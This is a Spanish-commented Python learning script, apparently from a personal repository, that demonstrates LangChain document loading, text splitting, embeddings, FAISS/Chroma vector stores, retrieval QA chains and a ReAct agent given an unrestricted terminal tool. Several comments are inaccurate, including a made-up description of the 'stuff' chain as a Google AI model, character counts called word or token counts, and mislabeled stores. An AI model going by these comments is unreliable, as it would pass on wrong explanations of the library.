instalación adicional.\n#       LEER DIRECTORIO CON ARCHIVOS .TXT:             Instalar con comando: pip install unstructured\n#       LEER DIRECTORIO CON ARCHIVOS .PDF:             Instalar con comando: pip install unstructured[pdf]\n#       LEER DIRECTORIO CON ARCHIVOS DE WORD .DOCX:    Instalar con comando: pip install unstructured[docx]\n#   - CharacterTextSplitter: Esta clase perteneciente al paquete text_splitter de la librería langchain permite \n#     dividir un texto muy grande en cachos limitados por cierto número de caracteres, ya que recordemos que el máximo \n#     de tokens que admiten los modelos de OpenAI son de 4096 tokens, que aproximadamente son 3,072 palabras.\nfrom langchain.document_loaders import DirectoryLoader             #DirectoryLoader: Carga varios archivos a la vez.\nfrom langchain.text_splitter import CharacterTextSplitter          #CharacterTextSplitter: División por caracteres.\n#DirectoryLoader(): El constructor recibe dos parámetros, el path global del directorio al que se quiere acceder y \n#el parámetro glob indica el tipo de archivos que se recibirá de la carpeta indicada: glob = \"**/*.extensiónArchivo\".\ncargarDirectorio = DirectoryLoader(\"C:/Users/diego/OneDrive/Documents/Aprendiendo/Python/5.-Inteligencia Artificial/0.-Archivos_Ejercicios_Python/\", glob = \"**/*.txt\")\n#DirectoryLoader().load(): El método .load() carga en una variable todos los archivos contenidos en la carpeta \n#indicada dentro del constructor del objeto DirectoryLoader.\ndocumentosTxt = cargarDirectorio.load() #Carga todos los archivos txt de una carpeta.\nprint(\"Documentos txt originales extraídos de un directorio:\\n\", documentosTxt, \"\\n\")\n#DirectoryLoader().load()[0].page_content: El método page_content devuelve el contenido del documento.\n#len(lista): Devuelve el tamaño de la lista a la que se le aplique, en este caso devuelve el número de palabras del \n#documento.\nprint(\"El número de palabras del documento es de:\\n\", len(documentosTxt[0].page_content), \"\\n\")\n#CharacterTextSplitter(): El constructor del objeto lo que hace es indicar las características con las que se dividirá \n#un texto grande que se quiere procesar a través de algún modelo de lenguaje, ya que estos están limitados en el \n#número de tokens que pueden recibir, por ejemplo OpenAI solo admite 4096 tokens, que son aproximadamente 3,072 \n#palabras. Esta clase se utiliza cuando se busca que los trozos sean grandes.\n# - chunk_size: Con este parámetro se indica el número de caracteres de cada cacho de texto, llamado chunk, este \n#   número usualmente se encuentra entre 400 y 1000 caracteres. Pero es importante mencionar que, si el modelo \n#   considera que al cortar cierta parte del texto con el chunk_size indicado hace que se pierda contexto, este número \n#   será cambiado automáticamente por el método .split_documents().\n# - chunk_overlap: Con este parámetro se indica los caracteres que se entrelazan con el cacho que tiene alado, para \n#   que de esta forma no se pierda ninguna palabra.\ndividirTexto = CharacterTextSplitter(chunk_size = 40, chunk_overlap = 0)    #División de texto por caracteres.\n#CharacterTextSplitter().split_documents(): Método que divide el texto grande que recibe como parámetro en cachos \n#cuyas características fueron descritas en el constructor de la clase CharacterTextSplitter.\ndocumentosDivididos = dividirTexto.split_documents(documentosTxt)\nprint(\"Documentos txt divididos con la clase CharacterTextSplitter:\\n\", documentosDivididos, \"\\n\")\nprint(\"Cacho de documento txt dividido:\\n\", documentosDivididos[5], \"\\n\\n\\n\")\n\n#CARGAR UN DOCUMENTO PDF A LA VEZ Y DIVIDIRLO POR PÁGINAS CON LA CLASE PyPDFLoader DE LANGCHAIN:\n#   - PyPDFLoader: Clase del paquete document_loaders que permite leer documentos PDF con la librería langchain. Su \n#     mayor ventaja es que de forma muy sencilla permite separar su contenido por página. \n#   - OnlinePDFLoader: Clase del paquete document_loaders que permite leer documentos PDF a través de un enlace. Se \n#     carga su contenido con el método .load() como se hace con el objeto DirectoryLoader.\nfrom langchain.document_loaders import PyPDFLoader                 #PyPDFLoader: Carga 1 documento PDF a la vez.\n#PyPDFLoader(): El constructor recibe como único parámetro el path global del archivo PDF al que se quiere acceder.\ncargarDocumentoPDF = PyPDFLoader(\"C:/Users/diego/OneDrive/Documents/Aprendiendo/Python/5.-Inteligencia Artificial/0.-Archivos_Ejercicios_Python/0.-Python - Conceptos Básicos.pdf\")\n#PyPDFLoader().load_and_split(): Método que divide el texto grande del archivo PDF recibido en el constructor de la \n#clase PyPDFLoader por páginas, dentro un objeto document que incluye todo el contenido del PDF, esto después no \n#podrá ser dividido de nuevo con alguna clase del paquete text_splitter perteneciente a la librería langchain, por \n#lo que directamente con ella se creará el embedding de cada página.\npaginasPDF = cargarDocumentoPDF.load_and_split()                   #División del texto de un PDF por página.\nprint(\"Documento PDF dividido por páginas con la clase PyPDFLoader de langchain:\\n\", paginasPDF[2], \"\\n\")\nprint(\"Número total de páginas en el documento:\\n\", len(paginasPDF), \"\\n\")\nprint(\"Contenido de la segunda página del documento PyPDFLoader:\\n\", paginasPDF[2].page_content, \"\\n\")\nprint(\"Número de caracteres de la segunda página del documento PyPDFLoader:\\n\", len(paginasPDF[2].page_content), \"\\n\")\nprint(\"Tipo de dato del resultado obtenido con la clase PyPDFLoader:\\n\", type(paginasPDF), \"\\n\\n\\n\")\n\n#CARGAR UN DOCUMENTO PDF, DIVIDIRLO POR PÁGINAS Y LUEGO ESAS PÁGINAS PARTIRLAS EN CACHOS CON LA LIBRERÍA PyPDF2:\n#   - PdfReader: Esta clase de la librería open source PyPDF2 permite leer escribir y manipular archivos PDF con \n#     python.\n#   - RecursiveCharacterTextSplitter: Esta clase permite dividir un texto grande en cachos para que pueda ser \n#     procesado por un modelo de lenguaje, pero limita los cachos en los que se divide el texto en forma de tokens, \n#     no de caracteres.\nfrom PyPDF2 import PdfReader                                       #PdfReader: Carga 1 documento PDF a la vez.\nfrom langchain.text_splitter import RecursiveCharacterTextSplitter #RecursiveCharacterTextSplitter: Cachos de tokens.\ndocumentoPDF = PdfReader(\"C:/Users/diego/OneDrive/Documents/Aprendiendo/Python/5.-Inteligencia Artificial/0.-Archivos_Ejercicios_Python/2.-Op-Amp Inversor con Filtro Pasa Altas.pdf\")\n#PdfReader().pages: Con el atributo .pages se accede al número de páginas del documento pdf leído con el constructor \n#del objeto PdfReader.\n#PdfReader().pages[i].extract_text(): Con el método .extract_text() se extrae todo el texto perteneciente a una \n#página en específico del documento pdf ingresado a través del constructor del objeto PdfReader.\n#len(): Método que devuelve el tamaño de la lista a la que se le aplique, en este caso devuelve el número de páginas \n#del documento pdf.\ntextoPDF = \"\"                               #Variable textoPDF que después guardará todo el texto del pdf.\nfor i in range(len(documentoPDF.pages)):    #Bucle for que lee todas las páginas del documento.\n    pagina = documentoPDF.pages[i]          #En la variable página se guarda el número de página.\n    textoPagina = pagina.extract_text()     #En la variable textoPagina se guarda el texto contenido en cada página.\n    textoPDF += textoPagina                 #Concatenación del texto extraído de cada página.\nprint(\"Texto extraído de un documento PDF completo con la clase PdfReader de PyPDF2:\\n\", textoPDF, \"\\n\\n\")\nprint(\"Documento PDF dividido por páginas con la clase PdfReader de PyPDF2:\\n\", documentoPDF.pages[2].extract_text(), \"\\n\")\nprint(\"Número total de páginas en el documento:\\n\", len(documentoPDF.pages), \"\\n\")\nprint(\"Tipo de dato del resultado obtenido con la clase PyPDF2:\\n\", type(documentoPDF), \"\\n\\n\\n\")\n#RecursiveCharacterTextSplitter(): El constructor del objeto lo que hace es indicar las características con las que se \n#separará en cachos un texto grande para que se pueda procesar con algún modelo de lenguaje, pero esto se hace eun \n#función de un número de tokens, no de caracteres. Esta clase se utiliza cuando se busca que los trozos sean pequeños.\n# - chunk_size: Con este parámetro se indica el número de tokens de cada cacho de texto, llamado chunk, este número \n#   usualmente se encuentra entre 512 y 1000 tokens. Pero es importante mencionar que si el modelo considera que al \n#   cortar cierta parte del texto con el chunk_size indicado hace que pierda contexto, este número será cambiado \n#   automáticamente por el método .create_documents().\n# - chunk_size: Con este parámetro se indica los caracteres que se entrelazan con el cacho que tiene alado, para que \n#   de esta forma no se pierda ninguna palabra.\n# - length_function: Indica qué función se utilizará para contar el número de tokens de cada cacho, puede ser la \n#   función predefinida len(lista) o una función propia.\ndividirPaginasPDF = RecursiveCharacterTextSplitter(chunk_size = 160, chunk_overlap = 10, length_function = len)\n#CharacterTextSplitter().split_documents(): Método que divide el texto grande que recibe como parámetro en cachos \n#cuyas características fueron descritas en el constructor de la clase RecursiveCharacterTextSplitter.\nchunksPaginasPDF = dividirPaginasPDF.create_documents([textoPDF])\nprint(\"Documento pdf dividido con la clase RecursiveCharacterTextSplitter:\\n\", chunksPaginasPDF, \"\\n\")\nprint(\"Cacho de documento pdf dividido:\\n\", chunksPaginasPDF[10], \"\\n\\n\\n\")\nprint(\"Cacho de documento pdf dividido:\\n\", chunksPaginasPDF[11].page_content, \"\\n\\n\\n\")\n\n#5.2.-VECTOR STORES: Los LLM convierten y asocian palabras a través de un vector llamado Embedding, la clase Vector \n#Stores ayuda a integrar bases de datos optimizadas para almacenar los vectores obtenidos después de procesar los \n#Chunks de información.\n#Embeddings: Es la herramienta que convierte los pedazos de palabras obtenidos de un documento (chunks) en vectores\n#numéricos.\nfrom langchain.embeddings import OpenAIEmbeddings\n#OpenAIEmbeddings(): El constructor de la clase OpenAIEmbeddings recibe los siguientes parámetros de OpenAI:\n# - openai_api_key: Con este parámetro se roporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - model: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará el más recomendado, que es \n#   el text-embedding-ada-002, que puede recibir como máximo 8191 y da como salida un vector con tamaño de 1536.\n#https://platform.openai.com/docs/guides/embeddings/what-are-embeddings\nmodeloEmbedding = OpenAIEmbeddings(openai_api_key = ApiKey, model = \"text-embedding-ada-002\")\n#Vectorstores: Representa una base de datos donde se asocian los chunks de palabras con sus embeddings \n#correspondientes para que así se alimente a cualquier modelo de lenguaje con nuestra información, pudiendo así \n#realizarle consultas sobre ella.\nfrom langchain.vectorstores import FAISS    #FAISS: Vector store rápida, poco flexible y difícil de usar.\nfrom langchain.vectorstores import Chroma   #Chroma: Vector store no tan rápida, flexible y fácil de usar.\n#FAISS.from_documents(): Método que crea la base de datos de vectores tipo FAISS, esta recibe los chunks del texto \n#y el modelo de embeddings declarado para su conversión.\nbaseDeDatosFAISS_PyPDFLoader = Chroma.from_documents(paginasPDF, modeloEmbedding) #PyPDFLoader (langchain).\nbaseDeDatosFAISS_PdfReader = FAISS.from_documents(chunksPaginasPDF, modeloEmbedding) #PdfReader (PyPDF2).\nbaseDeDatosFAISS_DirectoryLoader = Chroma.from_documents(documentosDivididos, modeloEmbedding) #Dir..Load (langchain).\n\n#5.3.-RETRIEVER: Este tipo de clases permiten extraer información de alguna fuente en específico que suelen ser VECTOR \n#STORES, sabiendo a dónde tiene que ir a buscar para obtener la respuesta solicitada a través de cadenas de búsqueda o \n#algoritmos de búsqueda de proximidad.\n#El concepto de cadena de búsqueda se refiere a un modelo de lenguaje que se ha entrenado con un conjunto de datos de \n#preguntas y respuestas. Puede utilizarse para responder a preguntas sobre un documento personal ingresado a un VECTOR \n#STORE. Para ello se puede utilizar alguna de las siguientes herramientas:\nfrom langchain.chains.question_answering import load_qa_chain\nfrom langchain.chains import RetrievalQA\nfrom langchain.chains import ConversationalRetrievalChain\n# - load_qa_chain(): Objeto que carga una cadena de búsqueda de preguntas y respuestas preentrenada.\n#   - llm: Indica el modelo de lenguaje o chat a utilizar.\n#   - chain_type: Indica el tipo de cadena de búsqueda a utilizar:\n#       - \"stuff\": Cadena de búsqueda predeterminada (LLM factual de Google AI) que es capaz de generar texto, \n#         traducir idiomas, escribir diferentes tipos de contenido creativo y responder a sus preguntas de manera \n#         informativa.\n# - RetrievalQA.from_chain_type(): Método que crea una cadena de búsqueda de preguntas y respuestas de un tipo \n#   específico. Los tipos de cadenas de búsqueda disponibles son: \"map_reduce\", \"refine\" y \"map_rerank\".\n#   - llm: Indica el modelo de lenguaje o chat a utilizar.\n#   - chain_type: Indica el tipo de cadena de búsqueda a utilizar:\n#       - \"stuff\": Cadena de búsqueda predeterminada (LLM factual de Google AI) que es capaz de generar texto, \n#         traducir idiomas, escribir diferentes tipos de contenido creativo y responder a sus preguntas de manera \n#         informativa.\n#       - \"map_reduce\": Cadena de búsqueda que primero utiliza un retriever para recuperar documentos relevantes.\n#       - \"refine\": Cadena de búsqueda que primero utiliza un retriever para recuperar documentos relevantes y \n#         luego utiliza el LLM para refinar las respuestas.\n#       - \"map_rerank\": Cadena de búsqueda que primero utiliza un retriever para recuperar documentos relevantes y \n#         luego utiliza el LLM para reordenar las respuestas.\n#   - retriever: Tipo de retriever que se utilizará para recuperar los documentos relevantes para contestar la \n#     pregunta.\n#       - \"faiss\": Retriever predeterminado que utiliza el algoritmo de búsqueda vectorial faiss para recuperar los \n#         documentos relevantes.\n#       - \"multi_query_retriever\": Este retriever genera variantes de la pregunta de entrada y luego utiliza un \n#         algoritmo de búsqueda vectorial para recuperar los documentos relevantes para cada variante.\n#       - vectorStore.as_retriever(): El método as_retriever() convierte cualquier base de datos vectorial en un \n#         retriever para que de ahí se extraiga la información para responder la pregunta del usuario.\n# - ConversationalRetrievalChain.from_llm(): Método que crea una cadena de búsqueda de preguntas y respuestas a través \n#   de un modelo de lenguaje probabilístico. El modelo de lenguaje se puede utilizar para generar respuestas más \n#   naturales y conversacionales a través de la memoria de un historial de chat.\n#   - llm: Indica el modelo de lenguaje o chat a utilizar.\n#   - chain_type: Indica el tipo de cadena de búsqueda a utilizar:\n#       - \"stuff\": Cadena de búsqueda predeterminada (LLM factual de Google AI) que es capaz de generar texto, \n#         traducir idiomas, escribir diferentes tipos de contenido creativo y responder a sus preguntas de manera \n#         informativa.\n#   - retriever: Tipo de retriever que se utilizará para recuperar los documentos relevantes para contestar la \n#     pregunta.\n#       - \"faiss\": Retriever predeterminado que utiliza el algoritmo de búsqueda vectorial faiss para recuperar los \n#         documentos relevantes.\n#       - \"multi_query_retriever\": Este retriever genera variantes de la pregunta de entrada y luego utiliza un \n#         algoritmo de búsqueda vectorial para recuperar los documentos relevantes para cada variante.\n#       - vectorStore.as_retriever(): El método as_retriever() convierte cualquier base de datos vectorial en un \n#         retriever para que de ahí se extraiga la información para responder la pregunta del usuario.\n#   - memory: Recibe un objeto de memoria que se utilizará para almacenar el historial de la cadena de búsqueda.\n#   - prompt: Plantilla de pregunta variable que se utilizará para generar respuestas.\n#   - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#     ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt, \n#     los tokens generados, y las puntuaciones de los tokens, pero cuando es False, no se imprimirá ninguna \n#     información.\n#   - return_source_documents: Variable booleana que por default se encuentra con valor de False, pero cuando vale \n#     True retorna la página de mis documentos en la cual se basó para contestar la pregunta.\ncadenaBusquedaPreentrenada = load_qa_chain(llm = openaiLLM, chain_type = \"stuff\")\ncadenaBusquedaPersonalizada = RetrievalQA.from_chain_type(llm = openaiLLM, chain_type = \"map_reduce\", \n                                                          retriever = baseDeDatosFAISS_PdfReader.as_retriever())\ncadenaBusquedaHistorialChat = ConversationalRetrievalChain.from_llm(llm = openaiLLM, chain_type = \"map_reduce\", \n                                                                    retriever = baseDeDatosFAISS_DirectoryLoader.as_retriever(),\n                                                                    return_source_documents = True)\n#El concepto de búsqueda de proximidad se refiere a un algoritmo de filtrado que se puede utilizar para encontrar los \n#documentos más similares a una consulta realizada. Para ello se puede utiliza la siguiente herramienta:\n# - FAISS_o_Chroma.from_documents().similarity_search(): El método similarity_search() utiliza el VECTOR STORE FAISS o \n#   Chroma para realizar una búsqueda de proximidad.\n#Pregunta hecha al documento ingresado al programa a través de la librería PyPDFLoader de langchain.\npreguntaDocumento_PyPDFLoader = \"Dime algunos usos del lenguaje de programación Python\" \nbusqueda_PyPDFLoader = baseDeDatosFAISS_PyPDFLoader.similarity_search(preguntaDocumento_PyPDFLoader)\n#Pregunta hecha al documento ingresado al programa a través de la librería PdfReader de PyPDF2.\npreguntaDocumento_PdfReader = \"Cómo decae la amplitud al modificar la frecuencia en un filtro pasa bajas?\"\nbusqueda_PdfReader = baseDeDatosFAISS_PdfReader.similarity_search(preguntaDocumento_PdfReader)\n#Pregunta hecha a los documentos ingresados al programa a través de la librería DirectoryLoader de langchain.\nhistorialChat = []\npreguntaDocumento_DirectoryLoader = \"Cuales son las variables utilizadas para calcular la matriz de rigidez de un elemento?\"\nbusquedaDirectoryLoader = baseDeDatosFAISS_DirectoryLoader.similarity_search(preguntaDocumento_DirectoryLoader)\n#load_qa_chain().run(): El método run() se aplica a la cadena de búsqueda load_qa_chain, recibiendo como parámetros \n#el resultado del método similarity_search() y la pregunta realizada para que así se busque en la VECTOR STORE y se\n#obtenga el resultado de la pregunta realizada en base a la información del documento txt, word, pdf, etc.\nresultado_PyPDFLoader = cadenaBusquedaPreentrenada.run(\n                                                    input_documents = busqueda_PyPDFLoader, \n                                                    question = preguntaDocumento_PyPDFLoader)\nprint(\"Cadena de Búsqueda load_qa_chain con base de datos vectorial FAISS al documento cargado con PyPDFLoader (langchain):\\n\", \n      str(resultado_PyPDFLoader), \"\\n\\n\")\n#RetrievalQA.from_chain_type()({\"query\": pregunta}): A través de un diccionario con la key \"query\" se realiza una \n#pregunta a una cadena de búsqueda RetrievalQA.\nresultado_PdfReader = cadenaBusquedaPersonalizada({\"query\" : preguntaDocumento_PdfReader})\nprint(\"Cadena de Búsqueda RetrievalQA con base de datos vectorial Chroma al documento cargado con PdfReader (PyPDF2):\\n\", \n      str(resultado_PdfReader), \"\\n\\n\")\n#ConversationalRetrievalChain.from_llm()({\"query\": pregunta, \"chat_history\": listaHistorial}): A través de un \n#diccionario con la key \"question\" y \"chat_history\" se realiza una pregunta a una cadena de búsqueda de chat \n#ConversationalRetrievalChain y luego se almacena en una lista el historial de preguntas y respuestas.\nresultado_DirectoryLoader = cadenaBusquedaHistorialChat({\"question\" : preguntaDocumento_DirectoryLoader, \"chat_history\" : historialChat})\nprint(\"Cadena de Búsqueda ConversationalRetrievalChain con base de datos vectorial FAISS al documento cargado con DirectoryLoader (langchain):\\n\", \n      str(resultado_DirectoryLoader), \"\\n\\n\")\nprint(\"Fuente de donde le cadena de búsqueda extrajo la respuesta de la pregunta hecha a los documentos DirectoryLoader:\\n\", \n      str(resultado_DirectoryLoader['source_documents']), \"\\n\\n\", \n      str(resultado_DirectoryLoader['source_documents'][0]), \"\\n\\n\", \n      str(resultado_DirectoryLoader['source_documents'][0].page_content), \"\\n\\n\\n\")\n\n\n\n\n\n#6.-AGENTES (Agents): Estos son modelos o cadenas a los cuales se les da acceso a una fuente o API para que puedan \n#tomar acción o proporcionar una respuesta que solucione una tarea en específico.\nprint(\"\\n\\n-----------------------------------------------6.-AGENTES-----------------------------------------------\")\n#   - load_tools: Con este método perteneciente al paquete agents de la clase langchain se permite ingresar al \n#     programa la herramienta que se busca integrar al agente a través de su nombre, que puede servir para darle la \n#     habilidad de ejecutar comandos en consola, realizar búsquedas en internet, resolver o contestar preguntas acerca \n#     de operaciones matemáticas, obtener información meteorológica, de noticias, películas y/o crear una herramienta \n#     personalizada utilizando alguna otra API.\n#      - Ejecutar comandos en consola:\n#           - terminal: Herramienta que permite ejecutar comandos en consola.\n#           - python_repl: Esta herramienta permite ejecutar solamente scripts (programas) de Python a través de la \n#             consola del sistema.\n#      - Realizar búsquedas en internet:\n#           - serpapi: Tool que permite extraer información de internet para responder una realizada por el usuario.\n#           - google-search: Esta herramienta de langchain permite utilizar específicamente el buscador de Google para \n#             obtener la información que responde una pregunta realizada al agente.\n#           - requests: Esta herramienta permite extraer información de la URL de un sitio web en específico para \n#             responder una pregunta.\n#      - Resolver o contestar preguntas acerca de operaciones matemáticas: Cuando se usen estas tools es recomendable \n#        declarar que la temperatura del modelo sea de 0, para que siempre dé el mismo resultado. \n#           - wolfram-alpha: Esta herramienta permite resolver problemas o contestar preguntas que tengan que ver con \n#             matemáticas, ciencia, tecnología, etc.\n#           - pal-math: Esta herramienta permite resolver problemas matemáticos a través de una instrucción, como \n#             crear ecuaciones a través de un problema de la vida real y cosas por el estilo.\n#           - llm-math: Esta herramienta permite resolver problemas matemáticos.\n#      - Obtener información meteorológica:\n#           - open-meteo-api: Permite obtener información meteorológica a través de la herramienta OpenMeteo.\n#      - Obtener información de noticias recientes o películas:\n#           - news-api: Obtiene información acerca de noticias actuales.\n#           - tmdb-api: Obtiene información acerca de películas.\n#   - initialize_agent: Con esta función perteneciente al paquete agents de la clase langchain se indica el tipo de \n#     agente que se pretende crear. \nfrom langchain.agents import load_tools         #load_tools: Método que permite anexar una Tool a un agente.\nfrom langchain.agents import initialize_agent   #initialize_agent: Método que indica el tipo de agente que se creará.\n#IMPORTACIÓN DE LIBRERÍAS:\n#IMPORTACIÓN DE LLAVE: Cuando se quiera utilizar una API que utiliza un key, por seguridad es de buenas prácticas \n#declararla en un archivo externo, además cabe mencionar que el nombre de dicho archivo y constante no pueden empezar \n#con un número, sino cuando la quiera importar obtendré un error y se va accediendo a sus carpetas por medio de puntos:\n# - Directorio normal:      carpeta1/carpeta2/carpeta3\n# - Directorio paquetes:    carpeta1.carpeta2.carpeta3\n#La parte del directorio se coloca después de la palabra reservada import y posteriormente se manda a llamar sus \n#variables o constantes de igual manera a través de un punto.\nimport os #os: Librería que permite acceder a funciones y métodos relacionados con el sistema operativo.\nimport API_Keys.Llaves_ChatGPT_Bard_etc\n#SerpAPI API key\nSerpApiKey = API_Keys.Llaves_ChatGPT_Bard_etc.LlaveSerpAPI\n#os.environ: El método environ proveniente de la librería os permite acceder a las variables de entorno del sistema \n#operativo, estas están organizadas en una forma de key:value, por lo que serán datos tipo diccionario o JSON, y su \n#objetivo es proveer cierta información de configuración que afecte a múltiples programas o aplicaciones, evitando \n#así que cada uno deba ser configurado por separado, pudiendo adaptarse automáticamente a diferentes entornos al leer \n#las variables de entorno relevantes, que usualmente almacenan información sensible, como contraseñas o API keys.\n#Para crear una nueva variable de entorno se utiliza la siguiente sintaxis, indicando su nombre en mayúsculas:\n#   os.environ['NOMBRE_VARIABLE'] = 'valorVariableDeEntorno'\nos.environ[\"SERPAPI_API_KEY\"] = SerpApiKey\n#load_tools(): Método que sirve para cargar al programa las herramientas que se quiera integrar a un agente. El \n#resultado se entrega en forma de diccionario y será recibido como parámetro del método initialize_agent() y se debe \n#indicar también que modelo se está utilizando.\n# - tool_names: A través de una lista se declaran los nombres de las tools que se quiera integrar al agente.\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\nnombreHerramientas = [\"serpapi\", \"llm-math\", \"wikipedia\", \"terminal\"]\nherramientasAgente = load_tools(nombreHerramientas, llm = openaiLLM)\nprint(\"Las herramientas que se utilizaron son:\\n\", str(herramientasAgente), \"\\n\")\nprint(\"Sus nombres individuales son: \", str(herramientasAgente[0].name), \",\",\n                                        str(herramientasAgente[1].name), \",\",\n                                        str(herramientasAgente[2].name), \"y\", \n                                        str(herramientasAgente[3].name), \"\\n\")\nprint(\"Lo que hacen respectivamente es:\\n\", str(herramientasAgente[0].description), \",\\n\",\n                                            str(herramientasAgente[1].description), \",\\n\", \n                                            str(herramientasAgente[2].description), \"y\\n\", \n                                            str(herramientasAgente[3].description), \"\\n\\n\")\n#initialize_agent(): Método que sirve para anexar al agente las herramientas previamente cargadas al programa con el \n#método load_tools(), además en este se indica el LLM que se quiere utilizar y el tipo de agente.\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - tools: Indica el diccionario que contiene el nombre de las herramientas que se quiere enlazar al agente.\n# - agent: En este parámetro se indica el nombre del tipo de agente. \n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   agente imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt, la \n#   herramienta que está utilizando para resolver cada parte del prompt, la respuesta dada por cada herramienta y \n#   la respuesta final del agente.\nAgente = initialize_agent(tools = herramientasAgente, llm = openaiLLM,\n                          agent = \"zero-shot-react-description\",\n                          verbose = True)\n#initialize_agent().run(): El método run() proporciona el valor de entrada del agente y luego lo ejecuta para que \n#podamos ver su resultado.\nresultadoAgente = Agente.run(\"Quien es más viejo, el presidente actual de USA o Robert Downey Jr? Toma la edad más grande y saca su raíz cuadrada.\")\nprint(\"Respuesta de Agente de tipo Zero Shot enlazado con la herramienta serpapi: \", str(resultadoAgente), \"\\n\\n\\n\")\nresultadoAgente = Agente.run(\"En cual carpeta de mi ordenador se encuentra el archivo 17.-Vibracion en Estructuras.mph?\")\nprint(\"Respuesta de Agente de tipo Zero Shot enlazado con la herramienta serpapi: \", str(resultadoAgente), \"\\n\\n\\n\")\nresultadoAgente = Agente.run(\"What files are located in my current directory?\")\nprint(\"Respuesta de Agente de tipo Zero Shot enlazado con la herramienta serpapi: \", str(resultadoAgente), \"\\n\\n\\n\")", "repo_name": "dicer0/p_Python_ESP", "sub_path": "5.-Inteligencia Artificial/8.-LangChain.py", "file_name": "8.-LangChain.py", "file_ext": "py", "file_size_in_byte": 80952, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "API_Keys.Llaves_ChatGPT_Bard_etc.Llaves_ChatGPT_Bard_etc", "line_number": 23, "usage_type": "attribute"}, {"api_name": "API_Keys.Llaves_ChatGPT_Bard_etc", "line_number": 23, "usage_type": "name"}, {"api_name": "langchain.llms.OpenAI", "line_number": 54, "usage_type": "call"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 78, "usage_type": "call"}, {"api_name": "langchain.schema.HumanMessage", "line_number": 84, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 109, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 135, "usage_type": "call"}, {"api_name": "langchain.prompts.SystemMessagePromptTemplate", "line_number": 141, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 144, "usage_type": "call"}, {"api_name": "langchain.prompts.HumanMessagePromptTemplate", "line_number": 150, "usage_type": "call"}, {"api_name": "langchain.prompts.ChatPromptTemplate.from_messages", "line_number": 157, "usage_type": "call"}, {"api_name": "langchain.prompts.ChatPromptTemplate", "line_number": 157, "usage_type": "name"}, {"api_name": "langchain.PromptTemplate", "line_number": 187, "usage_type": "call"}, {"api_name": "langchain.FewShotPromptTemplate", "line_number": 201, "usage_type": "call"}, {"api_name": "langchain.output_parsers.CommaSeparatedListOutputParser", "line_number": 220, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 232, "usage_type": "call"}, {"api_name": "langchain.memory.ConversationBufferMemory", "line_number": 267, "usage_type": "call"}, {"api_name": "langchain.chains.ConversationChain", "line_number": 277, "usage_type": "call"}, {"api_name": "langchain.memory.ConversationBufferWindowMemory", "line_number": 300, "usage_type": "call"}, {"api_name": "langchain.chains.ConversationChain", "line_number": 310, "usage_type": "call"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 357, "usage_type": "call"}, {"api_name": "langchain.memory.ConversationSummaryMemory", "line_number": 358, "usage_type": "call"}, {"api_name": "langchain.chains.ConversationChain", "line_number": 367, "usage_type": "call"}, {"api_name": "langchain.chat_models.ChatOpenAI", "line_number": 406, "usage_type": "call"}, {"api_name": "langchain.memory.ConversationKGMemory", "line_number": 407, "usage_type": "call"}, {"api_name": "langchain.chains.ConversationChain", "line_number": 417, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 455, "usage_type": "call"}, {"api_name": "langchain.LLMChain", "line_number": 462, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate.from_template", "line_number": 485, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 485, "usage_type": "name"}, {"api_name": "langchain.LLMChain", "line_number": 492, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate.from_template", "line_number": 497, "usage_type": "call"}, {"api_name": "langchain.PromptTemplate", "line_number": 497, "usage_type": "name"}, {"api_name": "langchain.LLMChain", "line_number": 499, "usage_type": "call"}, {"api_name": "langchain.chains.SequentialChain", "line_number": 511, "usage_type": "call"}, {"api_name": "langchain.chains.SimpleSequentialChain", "line_number": 530, "usage_type": "call"}, {"api_name": "langchain.chains.TransformChain", "line_number": 556, "usage_type": "call"}, {"api_name": "langchain.embeddings.OpenAIEmbeddings", "line_number": 583, "usage_type": "call"}, {"api_name": "langchain.document_loaders.DirectoryLoader", "line_number": 615, "usage_type": "call"}, {"api_name": "langchain.text_splitter.CharacterTextSplitter", "line_number": 634, "usage_type": "call"}, {"api_name": "langchain.document_loaders.PyPDFLoader", "line_number": 648, "usage_type": "call"}, {"api_name": "PyPDF2.PdfReader", "line_number": 668, "usage_type": "call"}, {"api_name": "langchain.text_splitter.RecursiveCharacterTextSplitter", "line_number": 695, "usage_type": "call"}, {"api_name": "langchain.embeddings.OpenAIEmbeddings", "line_number": 715, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Chroma.from_documents", "line_number": 723, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Chroma", "line_number": 723, "usage_type": "name"}, {"api_name": "langchain.vectorstores.FAISS.from_documents", "line_number": 724, "usage_type": "call"}, {"api_name": "langchain.vectorstores.FAISS", "line_number": 724, "usage_type": "name"}, {"api_name": "langchain.vectorstores.Chroma.from_documents", "line_number": 725, "usage_type": "call"}, {"api_name": "langchain.vectorstores.Chroma", "line_number": 725, "usage_type": "name"}, {"api_name": "langchain.chains.question_answering.load_qa_chain", "line_number": 786, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA.from_chain_type", "line_number": 787, "usage_type": "call"}, {"api_name": "langchain.chains.RetrievalQA", "line_number": 787, "usage_type": "name"}, {"api_name": "langchain.chains.ConversationalRetrievalChain.from_llm", "line_number": 789, "usage_type": "call"}, {"api_name": "langchain.chains.ConversationalRetrievalChain", "line_number": 789, "usage_type": "name"}, {"api_name": "API_Keys.Llaves_ChatGPT_Bard_etc.Llaves_ChatGPT_Bard_etc", "line_number": 879, "usage_type": "attribute"}, {"api_name": 